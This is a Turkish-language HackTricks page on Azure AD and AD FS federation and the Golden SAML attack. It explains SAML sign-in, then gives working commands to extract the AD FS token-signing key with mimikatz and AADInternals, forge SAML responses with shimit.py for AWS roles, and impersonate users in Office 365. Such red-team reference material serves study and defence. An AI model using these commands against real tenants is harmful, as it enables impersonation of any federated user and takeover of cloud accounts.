Az - Federation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Belgelerden:

Federasyon, güven kurmuş alanlar topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle kimlik doğrulama içerir ve neredeyse her zaman yetkilendirme içerir. Tipik bir federasyon, paylaşılan erişim için güven kurmuş bir dizi organizasyon içerebilir. On-premises ortamınızı Azure AD ile federasyon yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı kimlik doğrulamasının on-premises ortamında gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. AD FS ve PingFederate ile federasyon mevcuttur.

Temelde, Federasyon’da tüm kimlik doğrulama on-prem ortamında gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimi yaşar. Bu nedenle, kullanıcılar on-prem kimlik bilgilerini kullanarak bulut uygulamalarına erişim sağlayabilirler.

Güvenlik İddiası İşaretleme Dili (SAML), sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme bilgilerini değiştirmek için kullanılır.

Her federasyon kurulumunda üç taraf vardır:

  • Kullanıcı veya İstemci
  • Kimlik Sağlayıcı (IdP)
  • Hizmet Sağlayıcı (SP)
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
  1. İlk olarak, bir kullanıcı bir uygulamaya (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) erişir. Bu adım atlanabilir ve istemci doğrudan IdP’ye (Kimlik Sağlayıcı) yönlendirilebilir.
  2. Daha sonra, SP, kullanıcı kimlik doğrulaması için uygun IdP’yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddiası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP’ye yönlendirir.
  3. IdP devralır, kullanıcıyı kimlik doğrular. Kimlik doğrulama sonrası, IdP tarafından bir SAMLResponse oluşturulur ve kullanıcı aracılığıyla SP’ye iletilir.
  4. Son olarak, SP SAMLResponse’yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcının hizmeti kullanmasına olanak tanır.

SAML kimlik doğrulaması ve yaygın saldırılar hakkında daha fazla bilgi edinmek istiyorsanız:

SAML Attacks - HackTricks

Pivoting

  • AD FS, iddia tabanlı bir kimlik modelidir.
  • “..iddialar, kullanıcılar hakkında yapılan (örneğin, isim, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia tabanlı uygulamalara erişimi yetkilendirmek için kullanılır.”
  • Bir kullanıcı için iddialar SAML token’ları içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır.
  • Bir kullanıcı ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD’de saklanır.
  • ImmutableID, kullanıcı için on-premises ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID’inden türetilebilir.
  • Daha fazla bilgi için https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML saldırısı:

  • ADFS’de, SAML Yanıtı bir token-imzalama sertifikası ile imzalanır.
  • Sertifika tehlikeye girerse, Azure AD’ye senkronize edilmiş HERHANGİ bir kullanıcı olarak kimlik doğrulamak mümkündür!
  • PTA istismarımız gibi, bir kullanıcı için şifre değişikliği veya MFA’nın hiçbir etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahteleyerek işlem yapıyoruz.
  • Sertifika, DA ayrıcalıkları ile AD FS sunucusundan çıkarılabilir ve ardından herhangi bir internet bağlantılı makineden kullanılabilir.
  • Daha fazla bilgi için https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Bir Kimlik Sağlayıcı (IdP) tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir SAMLResponse süreci çok önemlidir. IdP’nin belirli uygulamasına bağlı olarak, yanıt imzalanmış veya şifrelenmiş olabilir ve bu IdP’nin özel anahtarı kullanılarak yapılır. Bu prosedür, Hizmet Sağlayıcı (SP)’nın SAMLResponse’nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder.

Golden ticket saldırısı ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (golden ticket için KRBTGT, golden SAML için token-imzalama özel anahtarı) manipüle edilerek bir kimlik doğrulama nesnesi (TGT veya SAMLResponse) sahteleyebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP’ye yetkisiz erişim sağlanmasına olanak tanır.

Golden SAML’lerin belirli avantajları vardır:

  • Uzakta oluşturulabilirler, ilgili alan veya federasyonun parçası olma gereği olmaksızın.
  • İki Faktörlü Kimlik Doğrulama (2FA) etkin olsa bile etkili kalırlar.
  • Token-imzalama özel anahtarı otomatik olarak yenilenmez.
  • Bir kullanıcının şifresini değiştirmek, zaten oluşturulmuş bir SAML’yi geçersiz kılmaz.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) güvenilir iş ortakları (federasyon) arasında kimlik bilgisi değişimini güvenli bir şekilde sağlamak için Microsoft’un bir hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır.

AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu zafiyet, AWS ortamında herhangi bir izin edinme potansiyeli ile istismar edilebilir. Saldırı, SAML nesnelerini imzalamak için kullanılan özel anahtarı gerektirir; bu, golden ticket saldırısında KRBTGT’yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir.

Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır:

  • Token-imzalama özel anahtarı
  • IdP genel sertifikası
  • IdP adı
  • Rol adı (üstlenilecek rol)
  • Alan\kullanıcı adı
  • AWS’deki rol oturum adı
  • Amazon hesap kimliği

Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi doldurulabilir.

Özel anahtarı elde etmek için AD FS kullanıcı hesabına erişim gereklidir. Buradan, özel anahtar kişisel depodan mimikatz gibi araçlar kullanılarak dışa aktarılabilir. Diğer gerekli bilgileri toplamak için, Microsoft.Adfs.Powershell snapin’ini şu şekilde kullanabilirsiniz; ADFS kullanıcısı olarak oturum açtığınızdan emin olun:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse’ı shimit: unutmamak mümkündür.

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

On-prem -> bulut

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Aynı zamanda yalnızca bulut kullanıcılarının ImmutableID’sini oluşturmak ve onları taklit etmek de mümkündür.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin